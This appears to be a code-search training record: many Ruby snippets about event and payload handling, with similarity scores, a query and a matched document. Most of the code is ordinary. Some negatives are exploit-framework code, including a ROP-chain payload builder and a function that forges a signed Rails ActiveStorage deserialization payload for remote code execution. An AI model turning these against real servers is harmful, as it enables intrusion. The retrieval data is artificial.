"def format(payload)\n if(payload.get(:data, :repository_generator, :generated))\n payload.set(:data, :repository_publisher, :repositories,\n payload.get(:data, :repository_generator, :generated)\n )\n end\n if(payload.get(:data, :repository_generator, :package_assets))\n payload.set(:data, :repository_publisher, :package_assets,\n payload.get(:data, :repository_generator, :package_assets)\n )\n end\n end",
"def publish(event, payload)\n end",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def parse_event!\n raise Dyno::MalformedInputError unless @raw.has_section?('Header')\n\n @event = Dyno::Event.new( :game => @raw['Header']['Game'] )\n @event.time = Time.parse( @raw['Header']['TimeString'] )\n @event.game_version = @raw['Header']['Version']\n\n # Extract the track name from Race/Scene\n if @raw.has_section?('Race') && @raw['Race']['Scene']\n @event.track = @raw['Race']['Scene'].split( '\\\\' )[-2].gsub( /[_-]+/, ' ' )\n end\n end",
"def apply(raw_event); end",
"def parse(type, payload)\n klass = Event.for(type)\n\n if klass.nil?\n puts \"event type '#{type}' is not supported\"\n return\n end\n\n klass.new(type, payload)\n end",
"def write data # data == logevent\n msg = nil\n h = @hash_data.dup\n h.update(@formatter.hash_data) if @formatter.respond_to?(:hash_data)\n h[:log4r_level] = data.level\n case msg = data.data\n when ::String\n when ::Hash\n h.update(msg)\n msg = hash[:msg] || UNKNOWN_MSG\n when ::Exception\n msg = data.message\n else\n msg = msg.inspect\n end\n TAM::Record::Generic.new(msg, h).log!\n end",
"def build_analytics_events_payload\n events = []\n 1000.times do\n event = {\n 'timestamp' => Process.clock_gettime(Process::CLOCK_REALTIME),\n 'name' => +'Controller/foo/bar',\n 'type' => +'Transaction',\n 'duration' => rand,\n 'databaseDuration' => rand,\n 'databaseCallCount' => rand,\n 'gcCumulative' => rand,\n 'host' => +'lo-calhost',\n 'color' => +'blue-green',\n 'shape' => +'squarish',\n 'texture' => +'sort of lumpy like a bag of frozen peas'\n }\n events << [event, {}]\n end\n [rand(1000000), events]\n end",
"def format_stream(tag, es)\n # es is a Fluent::OneEventStream or Fluent::MultiEventStream.\n # Each event item gets serialised as a [timestamp, record] array.\n [tag, es.to_msgpack_stream].to_msgpack\n end",
"def unpack(message)\n payload = super\n if(self.class == Jackal::Cfn::Event)\n begin\n unless(payload.get(:data, :cfn_event))\n payload = format_event(payload.fetch('Body', 'Message', payload))\n payload[:origin_type] = message[:message].get('Body', 'Type')\n payload[:origin_subject] = message[:message].get('Body', 'Subject')\n end\n payload\n rescue\n Smash.new\n end\n else\n payload.to_smash.fetch('Body', payload.to_smash)\n end\n end",
"def decode(data, &block)\n # Creiamo l'evento\n event = LogStash::Event.new\n # Usiamo per il log la codifica UTF-8\n @utf8_charset.convert(data)\n # Se l'encoding non ha avuto successo non andiamo avanti nel parsing, nascerebbero errori\n fail('invalid byte sequence in UTF-8') unless data.valid_encoding?\n\n # Nel caso ci siano caratteri a delimitare l'inizio e alla fine del log, vengono rimossi\n if data[0] == \"\\\"\"\n data = data[1..-2]\n end\n \n # Il log da parsare viene separato in due parti\n unprocessed_data = data.split(': ',2)\n header = unprocessed_data[0]\n # il gsub serve per evitare che in uscita vi siano \"\\\" in corrispondenza dei doppi apici\n message = unprocessed_data[1].gsub(/[\"]/,'')\n\t\n # Lavoriamo sull'header per ricavare i diversi campi\n # La seguente parte di codice trova la data, valutando diversi formati\n date_rule = /\\w{3}\\s+\\d{1,2}\\s+\\d{2,4}\\s+\\d{2}\\:\\d{2}\\:\\d{2}\\s/\n date = header.scan(date_rule)\n if date == [] \n date_rule = /\\d{1,4}[\\/-]\\d{1,2}[\\/-]\\d{1,4}\\s+\\d{2}\\:\\d{2}\\:\\d{2}\\s/ \t\n date = header.scan(date_rule)\n if date == []\n date_rule = /\\w{3}\\s+\\d{1,2}\\s+\\d{2}\\:\\d{2}\\:\\d{2}\\s/\n\tdate = header.scan(date_rule)\n end\n end\n # Nell'evento settiamo la coppia header-valore trovata\n event.set(HEADER_FIELDS[0], date.join(\" \").chomp(\" \"))\n \n # Eliminiamo la data dal messaggio da elaborare\n header.slice! date_rule\n # Leviamo le parentesi quadre per isolare il PID e separiamo gli elementi rimanenti, ponendoli in un array\t\n header_array = header.gsub(/[\\[\\]]/,\" \").split(/ /)\n # Associamo le coppie campo/valore dell'header\n i = 1\n header_array.each do |fields|\n\tunless fields.nil? \n\tevent.set(HEADER_FIELDS[i], fields)\n end \n i = i + 1\n end\n # Verifichiamo che il campo Process sia settato\n unless event.get('Process').nil?\n # Controlla il campo Process per capire se presenta un'info sul processo postfix\n if event.get('Process').include? 'postfix/'\n # Divide il campo Process usando rpartition, che separa rispetto all'ultima occorrenza \t\n split_process = event.get('Process').rpartition('/')\n # Prima parte: postfix\n event.set('Process', split_process[0])\n # Ultima parte: daemon postfix\n\t# (nota: in [1] si trova l'elemento di separazione, in questo caso lo slash) \n event.set('Postfix_daemon',split_process[2])\n end\n end\n\n unless event.get('Host').nil?\n # Controlla il campo Host per vedere se presenta un carattere '<'\n if event.get('Host').include? '<'\n # Leva dal campo host il termine <.> \t\n clean_host = event.get('Host').gsub(/\\<\\d+\\>/,'')\n\t# Aggiorno l'host \n event.set('Host', clean_host)\n end\n end\n\n # Verifichiamo la presente di un Queue ID e lo scriviamo nell'evento \n queue_id = message.scan(QUEUE_REGEXP)\n unless queue_id == []\n event.set(\"Queue_ID\",queue_id.join(\"\").chomp(\":\"))\n message.slice! QUEUE_REGEXP\n end\n # Verifichiamo la presenza di un Message Level e lo scriviamo nell'evento\n msg_level = message.scan(MSG_LEVEL_REGEXP)\n unless msg_level == []\n event.set(\"Message_Level\",msg_level.join(\"\").chomp(\":\"))\n message.slice! MSG_LEVEL_REGEXP\n end\n \n if message && message.include?('=') && event.get('Process').include?('postfix')\n # Leviamo dal messaggio eventuali caratteri di spazio alla fine e all'inizio\n message = message.strip\n # Ricaviamo le diverse coppie key/value del messaggio\n message.scan(KEY_VALUE_SCANNER) do |extension_field_key, raw_extension_field_value|\n # Evitiamo che key con sintassi simile a quella di un array possano creare errori\n extension_field_key = extension_field_key.sub(KEY_ARRAY_CAPTURE, '[\\1]\\2') if extension_field_key.end_with?(']')\n # Controlliamo la presenze di escape sequence e di altri simboli, poi rimuoviamo per evitare problemi in output\n\textension_field_value = raw_extension_field_value.gsub(VALUE_ESCAPE_CAPTURE, '\\1').gsub(/[\"]/,'').gsub(\"\\\\n\",' ')\n\t# Nell'evento settiamo la coppia key-value trovata\n event.set(extension_field_key, extension_field_value.chomp(\",\"))\n end\n # Rimuoviamo dal messaggio le coppie trovate\n message = message.gsub(KEY_VALUE_SCANNER,'')\n end\n \n # Inseriamo quello che rimane del messaggio in un campo dell'evento\n event.set(HEADER_FIELDS[-1], message.strip) unless message == \"\" \n \n # Aggiungiamo il log non parsato\n event.set(\"RAW_MESSAGE\", data)\n \n # Portiamo in uscita l'evento\n yield event\n\n # In caso di errore viene mostrato il seguente messaggio\n rescue => e\n @logger.error(\"Failed to decode Postfix payload. Generating failure event with payload in message field.\", :error => e.message, :backtrace => e.backtrace, :data => data)\n yield LogStash::Event.new(\"message\" => data, \"tags\" => [\"_Postfixparsefailure\"])\n end",
"def to_pusher_event\n user_name = if user.present? then user.name else nil end\n user_name = guest_name unless user_name.present?\n\n { session_id: session_id,\n scene_id: scene_id,\n href: \"/scenes/#{ scene_id }/with/#{ session_id }\",\n score: score,\n query_results: query_results,\n updated_at: updated_at,\n user_id: user_id || guest_uid,\n user_name: user_or_guest.name,\n profile_image: user_or_guest.image_url }\n end",
"def event_from_data(data)\n case data.first\n when 'test'\n [ TestEvent.new(*data) ]\n when 'pass', 'fail'\n [ PassOrFailEvent.new(*data) ]\n when 'pass_now_fail', 'fail_now_pass'\n [ StatusChangeEvent.new(data[0], data[1], event_from_data(data[2]).first) ]\n when 'echo'\n parse_echo_event data\n else\n [ BasicEvent.new(data.first) ]\n end\n end",
"def event_str\n if (event == nil)\n event_str = \"unknown event\"\n else\n event_str = event.to_s\n end\n event_str\n end",
"def format(tag, time, record)\n newrecord = {}\n\n begin\n if record['severity']\n newrecord['severity'] = Integer(record['severity'])\n else\n newrecord['severity'] = @severity\n end\n rescue\n newrecord['severity'] = @severity\n end\n\n newrecord['type'] = tag.to_s\n newrecord['agent_time'] = time.to_s\n newrecord['manager'] = @manager\n newrecord['class'] = @source\n newrecord['source'] = @hostname\n newrecord['description'] = record['message']\n newrecord['custom_info'] = record\n\n newrecord.to_msgpack\n end",
"def encode_payload(payload)\n payload = payload.is_a?(Hash) ? payload : payload.as_json\n JSON.dump(payload)\n end",
"def payload\n {:id => id, :body => body, :origin => origin, :original_id => original_id}\n end",
"def marshal(object)\n expect! object => [ String, Hash ]\n \n if object.is_a?(String)\n object = { :data => object }\n end\n \n # sort all entries in a way, that make sure that event, id, data\n # are at the end. This makes sure that confirming clients just\n # ignore the extra entries. If we would just send them in random\n # order we might produce \"bogus\" events, when \"data\", \"event\",\n # and \"id\" are separated by invalid entries. \n entries = object.sort_by { |key, value| FIXED_ORDER[key.to_sym] || 0 }\n\n entries.map do |key, value|\n escaped_value = value.gsub(/(\\r\\n|\\r|\\n)/, \"\\n#{key}: \")\n \"#{key}: #{escaped_value}\\n\"\n end.join + \"\\n\"\n end",
"def inbound_payload\n JSON.parse(data)['inbound']['payload']\n end",
"def save\n event = params\n # This assumes that all keys exists. Yay no error handling...\n toSave = Event.new(update_type: event[:event],\n start_time: event[:payload][:event][:start_time_pretty],\n end_time: event[:payload][:event][:end_time_pretty],\n location: event[:payload][:event][:location],\n invitee_name: event[:payload][:invitee][:name],\n duration: event[:payload][:event_type][:duration],\n event_kind: event[:payload][:event_type][:kind])\n toSave.save\n render json: {}, status: 200\n end",
"def sanitize_event_data\n @contract_event_obj.data[:event_data].each do |var_obj|\n\n case var_obj[:name]\n when '_beneficiary'\n @ethereum_address = var_obj[:value].to_s\n when '_cost'\n @ether_wei_value = var_obj[:value].to_i\n when '_tokens'\n @st_wei_value = var_obj[:value].to_i\n @usd_value = GlobalConstant::ConversionRate.st_in_wei_to_usd(@st_wei_value).round(2)\n end\n\n end\n\n end",
"def represent(payload)\n if representer = @config[:payload_representer]\n payload.extend(representer)\n payload.to_hash\n else\n payload\n end\n end",
"def message\n \"#{event.kind}\"\n end",
"def to_audit_event\n {\n user_name: to_s,\n user_email: email\n }\n end",
"def encode_payload(payload)\n payload = payload.is_a?(Hash) ? payload : payload.as_json\n JSON.dump(payload)\n end",
"def payload; end",
"def payload; end",
"def event_message event\n if event.verb.to_sym == :update\n if event.change_data.keys.count == 1\n key = \"events.#{event.eventable_type.downcase}.#{event.verb}.single\"\n else\n key = \"events.#{event.eventable_type.downcase}.#{event.verb}.multiple\"\n end\n else\n key = \"events.#{event.eventable_type.downcase}.#{event.verb}\"\n end\n message = I18n.translate key, :default => :\"events.default.#{event.verb}\", \"user.name\" => event.user.name, :\"event.type\" => event.eventable_type\n\n replace_vars(message, event).html_safe\n end",
"def format(payload)\n if(payload.get(:data, :github, :event) == 'release')\n valid = config.fetch(:github, :releases, :allowed, []).include?(\n payload.get(:data, :github, :repository, :full_name)\n )\n if(valid)\n payload.set(:data, :command_control,\n Smash.new(\n :destination => config.fetch(:github, :releases, :destination, 'commander'),\n :action => Smash.new(\n :action => 'github_release',\n :arguments => payload.get(:data, :github, :release, :assets).first\n )\n )\n )\n end\n end\n end",
"def handle_v5(payload, block)\n version, flow_records, uptime, unix_sec, unix_nsec, flow_seq_num, engine, sampling = payload.unpack(NETFLOW_V5_HEADER_FORMAT)\n engine_type = (engine & 0xff00) >> 8\n engine_id = engine & 0x00ff\n sampling_algorithm = (sampling & 0b1100000000000000) >> 14\n sampling_interval = sampling & 0b0011111111111111\n\n time = Fluent::EventTime.new(unix_sec.to_i, unix_nsec.to_i)\n\n records_bytes = payload.bytesize - NETFLOW_V5_HEADER_BYTES\n\n if records_bytes / NETFLOW_V5_RECORD_BYTES != flow_records\n $log.warn \"bytesize mismatch, records_bytes:#{records_bytes}, records:#{flow_records}\"\n return\n end\n\n format_full = NETFLOW_V5_RECORD_FORMAT * flow_records\n objects = payload[NETFLOW_V5_HEADER_BYTES, records_bytes].unpack(format_full)\n\n while objects.size > 0\n src_addr, dst_addr, next_hop, input_snmp, output_snmp,\n in_pkts, in_bytes, first_switched, last_switched, l4_src_port, l4_dst_port,\n tcp_flags_16, protocol_src_tos, src_as, dst_as, src_dst_mask = objects.shift(16)\n record = {\n \"version\" => version,\n \"uptime\" => uptime,\n \"flow_records\" => flow_records,\n \"flow_seq_num\" => flow_seq_num,\n \"engine_type\" => engine_type,\n \"engine_id\" => engine_id,\n \"sampling_algorithm\" => sampling_algorithm,\n \"sampling_interval\" => sampling_interval,\n\n \"ipv4_src_addr\" => ipv4_addr_to_string(src_addr),\n \"ipv4_dst_addr\" => ipv4_addr_to_string(dst_addr),\n \"ipv4_next_hop\" => ipv4_addr_to_string(next_hop),\n \"input_snmp\" => input_snmp,\n \"output_snmp\" => output_snmp,\n \"in_pkts\" => in_pkts,\n \"in_bytes\" => in_bytes,\n \"first_switched\" => first_switched,\n \"last_switched\" => last_switched,\n \"l4_src_port\" => l4_src_port,\n \"l4_dst_port\" => l4_dst_port,\n \"tcp_flags\" => tcp_flags_16 & 0x00ff,\n \"protocol\" => (protocol_src_tos & 0xff00) >> 8,\n \"src_tos\" => (protocol_src_tos & 0x00ff),\n \"src_as\" => src_as,\n \"dst_as\" => dst_as,\n \"src_mask\" => (src_dst_mask & 0xff00) >> 8,\n \"dst_mask\" => (src_dst_mask & 0x00ff)\n }\n unless @switched_times_from_uptime\n record[\"first_switched\"] = format_for_switched(msec_from_boot_to_time(record[\"first_switched\"], uptime, unix_sec, unix_nsec))\n record[\"last_switched\"] = format_for_switched(msec_from_boot_to_time(record[\"last_switched\"] , uptime, unix_sec, unix_nsec))\n end\n\n block.call(time, record)\n end\n end",
"def http_raw_notify_data\n {\n \"id\"=>\"b9879d2b-052f-4a0a-8a3f-3e72049e4d19\", \n \"event\"=>\"invoice_paid\", \n \"payload\"=> invoice_data\n }.to_json\n end",
"def event_data\n message = @event['check']['output']\n \"#{message.split[1]} RPS\"\n end",
"def inject_payload!(payload)\n payload[:site_url] = website.url\n payload[:event] = event\n end",
"def post_event(url, event, payload_type, payload)\n body = {\n :event => event,\n :payload_type => payload_type }\n body[:payload] = payload if payload\n\n http_post(url) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = body.to_json\n req.params['verification'] = 1 if event == 'verification'\n end\n end",
"def to_json\n hash = {}\n self.instance_variables.each do |var|\n hash[var.to_s.sub(/^@/, '')] = self.instance_variable_get var\n end\n '{\"event\":' + hash.to_json + '}'\n end",
"def payload(endpoint, json_data)\n # { endpoint.type.to_s.singularize => JSON.parse(data) }.to_json\n { endpoint.type.to_s.singularize => json_data }.to_json\n end",
"def payload\n msg = {\n data: {\n alert: alert,\n badge: badge || \"Increment\",\n },\n }\n msg[:data][:sound] = sound if sound.present?\n msg[:data][:title] = title if title.present?\n msg[:data].merge! @data if @data.is_a?(Hash)\n\n if @expiration_time.present?\n msg[:expiration_time] = @expiration_time.respond_to?(:iso8601) ? @expiration_time.iso8601(3) : @expiration_time\n end\n if @push_time.present?\n msg[:push_time] = @push_time.respond_to?(:iso8601) ? @push_time.iso8601(3) : @push_time\n end\n\n if @expiration_interval.is_a?(Numeric)\n msg[:expiration_interval] = @expiration_interval.to_i\n end\n\n if query.where.present?\n q = @query.dup\n if @channels.is_a?(Array) && @channels.empty? == false\n q.where :channels.in => @channels\n end\n msg[:where] = q.compile_where unless q.where.empty?\n elsif @channels.is_a?(Array) && @channels.empty? == false\n msg[:channels] = @channels\n end\n msg\n end",
"def event_to_domo_hash(event)\n new_event = {}\n event.to_hash.each do |k, v|\n if v.is_a? LogStash::Timestamp\n v = DateTime.parse(v.to_s)\n v = v.strftime(\"%Y-%m-%d %H:%M:%S\")\n end\n unless k == \"@version\" or k == \"@timestamp\"\n if v.nil?\n new_event[k] = nil\n else\n new_event[k] = v.to_s\n end\n end\n end\n new_event\n end",
"def handle_inbound(event_payload)\n head(:ok)\n end",
"def collect_unknown(event_name, event_data)\n puts \"unexpected event: #{event_name}\\nstoring event data in #{SQS_CFG['queues'][0]}-moo queue\"\n message = { \n message_body: event_data.to_json,\n message_attributes: {\n event_name: {\n string_value: event_name.to_s,\n data_type: \"String\",\n },\n event_time: {\n string_value: (event_data.dig('metadata', 'event_time') || event_data.dig('data', 0, 'eventTime')).to_s,\n data_type: \"String\",\n },\n }\n }\n Shoryuken::Client.queues(\"#{SQS_CFG['queues'][0]}-moo\").send_message(message)\n # LiveEvents.perform_async(event_data, queue: \"#{SQS_CFG['queues'][0]}-moo\")\nrescue => e\n pp ['moo queue failed, saving payload to file', e, event_name]\n # write event and payload to file\n open('log/payload-cache.js', 'a') do |f|\n f << \"\\n//#{event_name}\\n\"\n f << event_data.to_json\n end\nend",
"def event_file_data\n { hosts: options[:host],\n description: options[:desc],\n severity: options[:severity],\n tags: options[:evtag] }.to_json\n end",
"def event_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'event',\n 'Event' => 'click',\n 'EventKey' => 'ping', # will send a pong\n }\nend",
"def event_context\n {\n service: service,\n category: category,\n name: name,\n data: data,\n timestamp: Time.now.utc,\n uuid: SecureRandom.uuid\n }\n end",
"def format(tag, time, record)\n return [tag, record].to_msgpack\n end",
"def format(tag, time, record)\n return [tag, record].to_msgpack\n end",
"def parse_body(buffer)\n super(buffer)\n @topic = shift_string(buffer)\n @id = shift_short(buffer) unless qos.zero?\n @payload = buffer\n end",
"def to_event\n if self.code =~ /^\\d+$/\n ev = @@commands[:numeric].dup\n data = @params[0..-2]\n data << \"#{@params.last.include?(\" \") ? \":\" : \"\"}#{@params.last}\"\n ev.raw_arguments = [self.code.to_s, data.join(\" \")]\n elsif code == \"PRIVMSG\" && params.last[0] == 1 && params.last[-1] == 1\n if params.last[0..8] == \"\\001ACTION: \"\n name, value = :action, params.last[9..-2]\n else\n name, value = :ctcp, params.last[1..-2]\n end\n self.params[-1] = value\n ev = @@commands[name].dup\n ev.raw_arguments = self.params\n else\n ev = @@commands[self.code.to_sym]\n return nil if ev.nil?\n ev = ev.dup\n ev.raw_arguments = self.params\n end\n ev.prefix = self.prefix\n return ev\n end",
"def to_payload\n to_array.map { |line| MultiJson.encode(line) }.join(\"\\n\") + \"\\n\"\n end",
"def message\n @_event.data\n end",
"def payload_format\n @header.payload_format\n end",
"def format(tag, time, record)\n [tag, time, record].to_msgpack\n end",
"def format(tag, time, record)\n # [tag, time, record].to_json + \"\\n\"\n ## Alternatively, use msgpack to serialize the object.\n [tag, time, record].to_msgpack\n end",
"def format(tag, time, record)\n [tag, time, record].to_msgpack\n end",
"def event_params\n params.require(:event).permit(:kind, :source_id, :target, :target_id, :data)\n end",
"def event_to_hash(event)\n corrective_change = defined?(event.corrective_change) ? event.corrective_change : nil\n {\n \"status\" => event.status,\n \"timestamp\" => Puppet::Util::Puppetdb.to_wire_time(event.time),\n \"name\" => event.name,\n \"property\" => event.property,\n \"new_value\" => event.desired_value.to_s,\n \"old_value\" => event.previous_value.to_s,\n \"corrective_change\" => corrective_change,\n \"message\" => event.message,\n }\n end",
"def apply(raw_event)\n parse(raw_event)\n end",
"def apply(raw_event)\n parse(raw_event)\n end",
"def publish(event, payload = {})\n exchange.publish(MultiJson.dump(payload), routing_key: event, content_type: 'application/json')\n end",
"def base_event_params\n params.require(:base_event).permit(:kind, :userID, :payload, :clientTimeStamp)\n end",
"def meta_event(type)\n\tm = msg()\t\t# Copy of internal message buffer\n\n\t# Create raw data array\n\t@raw_data = []\n\t@raw_data << META_EVENT\n\t@raw_data << type\n\t@raw_data << @raw_var_num_data\n\t@raw_data << m\n\t@raw_data.flatten!\n\n\tcase type\n\twhen META_SEQ_NUM\n sequence_number((m[0] << 8) + m[1])\n\twhen META_TEXT, META_COPYRIGHT, META_SEQ_NAME, META_INSTRUMENT,\n META_LYRIC, META_MARKER, META_CUE, 0x08, 0x09, 0x0a,\n 0x0b, 0x0c, 0x0d, 0x0e, 0x0f\n text(type, m)\n\twhen META_TRACK_END\n eot()\n\twhen META_SET_TEMPO\n tempo((m[0] << 16) + (m[1] << 8) + m[2])\n\twhen META_SMPTE\n smpte(m[0], m[1], m[2], m[3], m[4])\n\twhen META_TIME_SIG\n time_signature(m[0], m[1], m[2], m[3])\n\twhen META_KEY_SIG\n key_signature(m[0], m[1] == 0 ? false : true)\n\twhen META_SEQ_SPECIF\n sequencer_specific(type, m)\n\telse\n meta_misc(type, m)\n\tend\n end",
"def msgData(arr)\n return data = {\"rusr\" => arr[0][1..-1].split(\"!\")[0], \"raddress\" => arr[0].split(\"!\")[1], \"type\" => arr[1], \"who\" => arr[2], \"event\" => arr[3][1..-1], \"args\" => arr[4..-1].join(\" \")}\n end",
"def work(raw_event)\n event = JSON.parse(raw_event)\n EventManager.new.handle_event(event)\n end",
"def to_payload(payload = nil)\n return {} if payload.nil?\n return {} if payload.respond_to?(:empty?) && payload.empty?\n\n # TODO: refactor this, don't update a hash that's not ours\n payload.update params: MultiJson.dump(payload[:params])\n payload.update signature: signature(payload[:params])\n payload.delete :signature if payload[:signature].nil?\n payload\n end",
"def convert_message_event message_event\n message_event_proto =\n TraceProtos::Span::TimeEvent::MessageEvent.new \\\n type: message_event.type,\n id: message_event.id,\n uncompressed_size_bytes: message_event.uncompressed_size,\n compressed_size_bytes: message_event.compressed_size\n TraceProtos::Span::TimeEvent.new \\\n time: convert_time(message_event.time),\n message_event: message_event_proto\n end"
] | [
"0.7117667",
"0.69573206",
"0.6857746",
"0.67655516",
"0.6565603",
"0.64938295",
"0.64134157",
"0.63436836",
"0.6323799",
"0.6239035",
"0.615861",
"0.6117513",
"0.60747945",
"0.6069579",
"0.60632056",
"0.60632056",
"0.5963819",
"0.59476453",
"0.59276974",
"0.59185463",
"0.58853656",
"0.58505905",
"0.58438146",
"0.5811159",
"0.5805646",
"0.5805646",
"0.5753338",
"0.5752713",
"0.5749547",
"0.5709264",
"0.5689174",
"0.56822443",
"0.5675519",
"0.56582856",
"0.5627218",
"0.561642",
"0.5613206",
"0.55997765",
"0.55864286",
"0.55815846",
"0.55805147",
"0.5545667",
"0.5537777",
"0.55133516",
"0.54947793",
"0.5487991",
"0.5486095",
"0.548465",
"0.5478226",
"0.5468247",
"0.54675835",
"0.54622006",
"0.5460764",
"0.5454281",
"0.5437677",
"0.5424993",
"0.5422026",
"0.54214346",
"0.5418881",
"0.5417797",
"0.5405574",
"0.53944415",
"0.53944415",
"0.5372534",
"0.53616387",
"0.536158",
"0.5358046",
"0.53558415",
"0.5349542",
"0.53483355",
"0.53471386",
"0.5344917",
"0.53434175",
"0.53425026",
"0.5342313",
"0.5338112",
"0.53152245",
"0.53139716",
"0.5296631",
"0.52922153",
"0.52922153",
"0.52878124",
"0.52759373",
"0.52741885",
"0.527053",
"0.5269613",
"0.52650887",
"0.52507144",
"0.5250519",
"0.5245514",
"0.52395153",
"0.52257955",
"0.52257955",
"0.5219037",
"0.5209058",
"0.5208487",
"0.5201824",
"0.5198723",
"0.518867",
"0.51879036"
] | 0.64124656 | 7 |
Generate payload and drop | def execute(message)
data_payload = unpack(message)
payload = new_payload(
config[:name],
:cfn_event => data_payload
)
if(config[:reprocess])
debug "Reprocessing payload through current source (#{destination(:input, payload)})"
Carnivore::Supervisor.supervisor[destination(:input, payload)].transmit(payload)
message.confirm!
else
job_completed(:jackal_cfn, payload, message)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_payload(attributes, _record)\n fields = self.encoder.schema_fields\n payload = attributes.stringify_keys\n payload.delete_if do |k, _|\n k.to_sym != :payload_key && !fields.map(&:name).include?(k)\n end\n end",
"def generate_rop_payload(rop, payload, opts={})\n nop = opts['nop'] || nil\n badchars = opts['badchars'] || ''\n pivot = opts['pivot'] || ''\n target = opts['target'] || ''\n base = opts['base'] || nil\n\n rop = select_rop(rop, {'target'=>target, 'base'=>base})\n # Replace the reserved words with actual gadgets\n rop = rop.map {|e|\n if e == :nop\n sled = (nop) ? nop.generate_sled(4, badchars).unpack(\"V*\")[0] : 0x90909090\n elsif e == :junk\n Rex::Text.rand_text(4, badchars).unpack(\"V\")[0].to_i\n elsif e == :size\n payload.length\n elsif e == :unsafe_negate_size\n get_unsafe_size(payload.length)\n elsif e == :safe_negate_size\n get_safe_size(payload.length)\n else\n e\n end\n }.pack(\"V*\")\n\n raise RuntimeError, \"No ROP chain generated successfully\" if rop.empty?\n\n return pivot + rop + payload\n end",
"def regenerate_payload(platform = nil, arch = nil, explicit_target = nil)\n generate_single_payload(nil, platform, arch, explicit_target)\n end",
"def generate_payload(pinst = nil)\n # Set the encoded payload to the result of the encoding process\n self.payload = generate_single_payload(pinst)\n\n # Save the payload instance\n self.payload_instance = (pinst) ? pinst : self.payload_instance\n\n return self.payload\n end",
"def generate\n generate_full_payload_address\n end",
"def prepare_payload(pld)\n pld\n end",
"def recreate\n self.class.create(queue, payload_class, *args)\n end",
"def payload; end",
"def payload; end",
"def generate_single_payload(pinst = nil, platform = nil, arch = nil, explicit_target = nil)\n explicit_target ||= target\n\n if (explicit_target == nil)\n raise MissingTargetError, \"No target has been specified.\",\n caller\n end\n\n # If a payload instance was supplied, use it, otherwise\n # use the active payload instance\n real_payload = (pinst) ? pinst : self.payload_instance\n\n if (real_payload == nil)\n raise MissingPayloadError, \"No payload has been selected.\",\n caller\n end\n\n # If this is a generic payload, then we should specify the platform\n # and architecture so that it knows how to pass things on.\n if real_payload.kind_of?(Msf::Payload::Generic)\n # Convert the architecture specified into an array.\n if arch and arch.kind_of?(String)\n arch = [ arch ]\n end\n\n # Define the explicit platform and architecture information only if\n # it's been specified.\n if platform\n real_payload.explicit_platform = Msf::Module::PlatformList.transform(platform)\n end\n\n if arch\n real_payload.explicit_arch = arch\n end\n\n # Force it to reset so that it will find updated information.\n real_payload.reset\n end\n\n # Duplicate the exploit payload requirements\n reqs = self.payload_info.dup\n\n # Pass save register requirements to the NOP generator\n reqs['Space'] = payload_space(explicit_target)\n reqs['SaveRegisters'] = nop_save_registers(explicit_target)\n reqs['Prepend'] = payload_prepend(explicit_target)\n reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target)\n reqs['BadChars'] = payload_badchars(explicit_target)\n reqs['Append'] = payload_append(explicit_target)\n reqs['AppendEncoder'] = payload_append_encoder(explicit_target)\n reqs['DisableNops'] = payload_disable_nops(explicit_target)\n reqs['MaxNops'] = payload_max_nops(explicit_target)\n reqs['MinNops'] = payload_min_nops(explicit_target)\n reqs['Encoder'] = datastore['ENCODER'] || payload_encoder(explicit_target)\n reqs['Nop'] = datastore['NOP'] || payload_nop(explicit_target)\n reqs['EncoderType'] = payload_encoder_type(explicit_target)\n reqs['EncoderOptions'] = payload_encoder_options(explicit_target)\n reqs['ExtendedOptions'] = payload_extended_options(explicit_target)\n reqs['Exploit'] = self\n\n # Pass along the encoder don't fall through flag\n reqs['EncoderDontFallThrough'] = datastore['EncoderDontFallThrough']\n\n # Incorporate any context encoding requirements that are needed\n define_context_encoding_reqs(reqs)\n\n # Call the encode begin routine.\n encode_begin(real_payload, reqs)\n\n # Generate the encoded payload.\n encoded = EncodedPayload.create(real_payload, reqs)\n\n # Call the encode end routine which is expected to return the actual\n # encoded payload instance.\n return encode_end(real_payload, reqs, encoded)\n end",
"def set_payload\n self.payload = self.create_payload\n end",
"def payload=(_arg0); end",
"def deletion_payload\n { payload_key: self[self.class.primary_key] }\n end",
"def generate_rails_payload(app_name, ruby_payload)\r\n secret_key_base = Digest::MD5.hexdigest(\"#{app_name}::Application\")\r\n keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))\r\n secret = keygen.generate_key('ActiveStorage')\r\n verifier = MessageVerifier.new(secret)\r\n erb = ERB.allocate\r\n erb.instance_variable_set :@src, ruby_payload\r\n erb.instance_variable_set :@filename, \"1\"\r\n erb.instance_variable_set :@lineno, 1\r\n dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)\r\n verifier.generate(dump_target, purpose: :blob_key)\r\n end",
"def regenerate_payload(cli, arch = nil, platform = nil, target = nil)\n\n ohost = datastore['RHOST']\n oport = datastore['RPORT']\n p = nil\n\n begin\n # Update the datastore with the supplied client peerhost/peerport\n datastore['RHOST'] = cli.peerhost\n datastore['RPORT'] = cli.peerport\n\n if ((p = super(arch, platform, target)) == nil)\n print_error(\"Failed to generate payload\")\n return nil\n end\n\n # Allow the payload to start a new handler\n add_handler({\n 'RHOST' => datastore['RHOST'],\n 'RPORT' => datastore['RPORT']\n })\n\n ensure\n datastore['RHOST'] = ohost\n datastore['RPORT'] = oport\n end\n\n p\n end",
"def reset\n @payload_object = nil\n end",
